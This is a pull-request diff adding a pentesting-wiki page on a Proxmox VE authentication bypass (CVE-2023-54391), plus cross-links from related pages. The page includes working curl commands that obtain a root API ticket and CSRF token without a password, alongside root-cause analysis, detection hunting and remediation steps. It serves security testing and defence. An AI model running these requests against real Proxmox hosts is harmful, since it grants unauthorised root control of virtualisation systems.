Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -557,6 +557,7 @@
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
- [Perl Tricks](network-services-pentesting/pentesting-web/perl-tricks.md)
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Proxmox VE](network-services-pentesting/pentesting-web/proxmox-ve.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
Expand Down
1 change: 1 addition & 0 deletions src/network-services-pentesting/pentesting-web/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**ZoneMinder / motionEye / Motion**](zoneminder-motioneye-motion.md)
- [**Nginx**](nginx.md)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Proxmox VE**](proxmox-ve.md)
- [**Python**](python.md)
- [**Roundcube**](roundcube.md)
- [**ServiceNow**](servicenow.md)
Expand Down
92 changes: 92 additions & 0 deletions src/network-services-pentesting/pentesting-web/proxmox-ve.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
# Proxmox VE

{{#include ../../banners/hacktricks-training.md}}

Proxmox VE exposes its HTTPS management interface and API through **`pveproxy`**, normally on TCP **8006**. Treat this as a high-value management plane: the ticket endpoint returns signed API sessions, and state-changing API calls also require the associated CSRF prevention token.<sup>[[1]](#references)[[2]](#references)</sup>

```bash
nmap -Pn -sV -p8006 <target>
curl -skI https://<target>:8006/
```

## TFA state confusion to a full API ticket

CVE-2023-54391 (PSA-2026-00043-1) affects `libpve-access-control >= 7.0-7 and < 8.0.4`. A client-controlled `tfa-challenge` parameter can place `POST /api2/json/access/ticket` directly into the second-factor path, so an unauthenticated request may obtain a full session as any enabled user without configured login TFA; default installations normally include `root@pam` in that set.<sup>[[1]](#references)[[2]](#references)</sup>

A minimal authorized test is one request; `password` can be arbitrary and `tfa-challenge` only needs to be non-empty.<sup>[[2]](#references)</sup>

```bash
curl -sk -X POST 'https://<target>:8006/api2/json/access/ticket' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'username=root@pam&password=x&tfa-challenge=1'
```

A vulnerable host returns HTTP 200 with `data.username`, a signed `data.ticket`, `data.CSRFPreventionToken`, and the selected user's capability map. Patched versions reject the forged challenge with HTTP 401. The returned credential is a normal session rather than an intermediate TFA ticket, so it is immediately usable against privileged API operations.<sup>[[2]](#references)</sup>

```bash
BASE='https://<target>:8006'
RESP="$(curl -sk -X POST "$BASE/api2/json/access/ticket" \
--data 'username=root@pam&password=x&tfa-challenge=1')"
TICKET="$(jq -r '.data.ticket' <<<"$RESP")"
CSRF="$(jq -r '.data.CSRFPreventionToken' <<<"$RESP")"

# Read-only validation
curl -sk "$BASE/api2/json/nodes" -H "Cookie: PVEAuthCookie=$TICKET"

# State-changing calls additionally require the CSRF token
curl -sk -X POST "$BASE/api2/json/<privileged-endpoint>" \
-H "Cookie: PVEAuthCookie=$TICKET" \
-H "CSRFPreventionToken: $CSRF"
```

### Root-cause chain

The reusable bug pattern is **client-selected authentication state plus fail-open null handling**. Trace every branch from the public endpoint to the point where a full session is minted; do not assume that reaching an “MFA response” handler proves completion of the password step. The vulnerable chain is:<sup>[[2]](#references)</sup>

1. Supplying `tfa-challenge` selects the second-factor branch and prevents execution from reaching the realm plugin's password validator.
2. For accounts without the legacy `keys` field, `user_get_tfa()` returns `undef` before loading the modern `priv/tfa.cfg` object.
3. `authenticate_2nd_new_do()` sees the undefined configuration and returns before `verify_ticket($tfa_challenge, 0, $username)` can validate the challenge signature and user binding.
4. The caller interprets the missing pending-TFA value as authentication complete and mints a full ticket for the attacker-selected identity.

This suggests several general code-review and black-box tests: force later authentication states without first completing earlier states; mutate signed challenge fields to empty, arbitrary, cross-user, expired, and replayed values; test accounts with absent, empty, disabled, migrated, and directory-synchronized MFA metadata; and verify that every null/error result fails closed before session creation.<sup>[[2]](#references)</sup>

## Version verification

Check the installed package rather than inferring exposure only from the overall PVE release, because package and platform versions correlate loosely.<sup>[[1]](#references)</sup>

```bash
dpkg-query -W -f '${Version}\n' libpve-access-control
# or
pveversion -v
```

The package, configuration, and network boundaries are:<sup>[[1]](#references)</sup>

- **Vulnerable:** `libpve-access-control >= 7.0-7 and < 8.0.4`.
- **Fixed:** `libpve-access-control >= 8.0.4`; supported PVE releases are not affected.
- **Configuration boundary:** users with any second factor configured for login do not take the vulnerable no-TFA path.
- **Reachability boundary:** exploitation requires access to TCP 8006 directly or through a reverse proxy.

## Detection

Hunt in `pveproxy` access logs and syslog for `POST /api2/json/access/ticket` requests carrying `tfa-challenge`. Prioritize HTTP 200 ticket creation from unexpected sources, successful `root@pam` authentication without the expected preceding flow, and follow-on terminal, permissions, VM, storage, backup, migration, networking, or power-management API requests. On patched hosts, bursts of HTTP 401 responses to the same endpoint can indicate attempted exploitation, but normal failed logins and broken clients remain false positives.<sup>[[2]](#references)</sup>

## Remediation

Upgrade to a supported release with `libpve-access-control >= 8.0.4`. For an affected EOL installation that cannot be upgraded immediately, Proxmox's stop-gap inserts challenge verification before the vulnerable second-factor branch; verify that the file contains three matching calls and then reload both services.<sup>[[1]](#references)</sup>

```bash
sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm

grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l
systemctl reload-or-restart pvedaemon pveproxy
```

Reduce exposure independently of patching: restrict TCP 8006 to trusted administration networks. A localhost-only deployment can set `LISTEN_IP="127.0.0.1"` in `/etc/default/pveproxy`, restart `pveproxy`, and provide access through a VPN or SSH tunnel.<sup>[[1]](#references)[[2]](#references)</sup>

## References

- [1] [Proxmox PSA-2026-00043-1 — Authentication bypass in EOL Proxmox VE 7 release](https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/post-867929)
- [2] [Nathan Xavier Golez — Proxmox VE 7.0–8.0.3 unauthenticated single-request root authentication bypass](https://blog.nathangolez.com/2026/08/proxmox-ve-7-08-0-3-unauthenticated-single-request-root-auth-bypass)

{{#include ../../banners/hacktricks-training.md}}
2 changes: 2 additions & 0 deletions src/pentesting-web/2fa-bypass.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@

### **Direct Endpoint Access**

See [Proxmox VE](../network-services-pentesting/pentesting-web/proxmox-ve.md#tfa-state-confusion-to-a-full-api-ticket) for a product-specific example of client-selected TFA state.

Try the post-login endpoint directly and verify that the server—not only the UI—requires completion of the MFA state. If an application incorrectly trusts navigation metadata, also test the correctly spelled HTTP **`Referer` header**; a secure implementation must not use it as proof of MFA.<sup>[[2]](#references)[[5]](#references)</sup>

### **Token Reuse**
Expand Down
2 changes: 2 additions & 0 deletions src/pentesting-web/login-bypass/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@

## **Bypass regular login**

See [Proxmox VE](../../network-services-pentesting/pentesting-web/proxmox-ve.md#root-cause-chain) for a product-specific example of authentication state confusion.

If you find a login page, test the following authentication and authorization failure modes.<sup>[[3]](#references)</sup>

- Check for **comments** inside the page (scroll down and to the right?)
Expand Down